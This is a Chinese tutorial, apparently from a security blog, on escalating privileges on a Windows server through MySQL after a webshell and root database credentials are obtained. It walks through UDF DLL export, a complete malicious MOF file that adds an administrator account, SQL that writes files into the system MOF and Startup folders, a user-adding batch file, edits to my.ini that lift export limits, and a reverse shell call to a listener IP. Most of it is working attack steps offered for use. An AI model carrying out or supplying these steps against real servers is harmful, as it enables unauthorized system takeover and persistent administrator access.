一、简介
在利用系统溢出漏洞无果的情况下,可以采用数据库进行提权。
数据库提权的前提条件:
1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)
常见密码获取方式:
1、读取网站数据库配置文件(了解其命名规则及查找技巧)
例如:sql data inc config conn database common include等
2、读取数据库存储或备份文件(了解其数据库存储格式及对应内容)
例如:@@basedir/data/数据库名/表名.myd
3、 利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)
例如:远程本地暴力猜解,服务器本地暴力猜解(未开启外联,需要上传数据库暴力破解脚本到网站后执行)
实验前提条件:
假设我们已经获取mysql数据库的用户名密码为root/root,并且上传了php大马webshell
二、 UDF导出提权
总结
利用自定义执行函数导出dll文件进行命令执行
select version() select @@basedir
手工创建plugin目录或利用NTFS流创建
提权示例 一
第一步:导出dll文件
1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/ 例如:C:/phpStudy/PHPTutorial/MySQL/lib/plugin//moonudf.dll
一般Lib、Plugin文件夹需要手工建立(也可用NTFS ADS流模式突破进而创建文件夹)
上传一个 mysql全版本通杀提权神器 到目标网站,如下图所示:
选择导出dll文件,但是报错 “udf导出失败请查看失败内容The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”
secure-file-priv简介:
在高版本中有个参数:secure-file-priv,这个参数限制了MySQL的导出:该参数为NULL时不允许导出,该参数为空时允许在任意文件夹中导出,该参数为某文件夹时允许在该文件夹中导出。
解决办法:
利用php大马webshell手工修改my.ini配置文件,添加 secure-file-priv=,之后想办法,让目标网站重启一下mysql服务即可使修改的配置生效(例如,上传可以执行命令的大马,或者菜刀执行cmd命令,启动mysql服务:net stop mysql 停止mysql服务:net start mysql)
配置修改生效后,再次导出dll文件,导出成功
第二步:提权
成功导出dll文件后、先创建sys_eval,之后可以查看当前用户等操作,提权成功
注意:
如果是安装的mysql服务,那么此时查看权限是system权限,而我测试用的是 phpstudy的mysql是,所以是administrator权限,也就是 phpstudy运行的权限
php大马webshell、mysql全版本通杀提权神器2014版,都已在我的资源中上传
提权示例 二
除了专门的mysql udf提权php脚本外,php大马也有udf提权功能,同样得输入dll文件的安装路径才可以
可以自己输入命令,也可以用工具自带的。
缺点:php大马没有反弹shell的功能,MySQL udf提权脚本有反弹shell的功能
二、MOF加载提权
总结
导出自定义mof文件到系统目录加载
实验前提条件:
同udf一样需要手工修改my.ini配置文件,添加 secure-file-priv=
mof介绍
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式",其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
第一步:
通过webshell将adduser.mof文件上传到网站根目录
mof文件内容
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin123!@# /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
第二步:提权
使用sql语句将系统当中默认的nullevt.mof给替换掉,让系统执行我们这个恶意的mof文件,来添加admin账户。
select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
过一会儿后,查看目标服务器用户,发现admin账户被创建
参考链接:https://www.cnblogs.com/xishaonian/p/6384535.html
三、 启动项重启提权
总结
导出自定义bat或vbs到启动目录配合重启执行
第一步:
将创建好的adduser.bat进行服务器启动项写入,配合重启执行!
写一个adduser.bat文件
@echo
net user ceshi 123!@#ws /add
通过文件上传上传adduser.bat文件到网站根目录
通过sql命令写入到启动项中
select load_file(‘C:/phpStudy/PHPTutorial/WWW/adduser.bat’) into dumpfile ‘C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/adduser.bat’;
第二步:提权
之后让目标服务器重启后,查看发现用户被创建,bat文件执行
四、反弹SHELL提权
总结
用于UDF没有成功取得cmdshell和MOF提权都失败的情况,采用MYSQL反弹函数获取权限,不再调用命令执行类函数!
**原因:**服务器限制cmdshell命令执行拓展关闭,开启了防护 ,那么UDF提权就失败,cmdshell就没了,只能进行backshell反弹。
在反弹shell的时候,shell执行成功,却没有监听到返回信息,是因为原因:阿里云服务器端口使用需要设置端口允许,默认是全部不允许的
第一步:
访问提权大马
导出dll文件
第二步:提权
创建反弹shell函数
执行反弹shell命令:select backshell(‘192.168.184.139’,12345)
kali监听端口,成功反弹shell
后续还有别的提权复现 会继续更新
更多web安全工具与存在漏洞的网站搭建源码,收集整理在知识星球。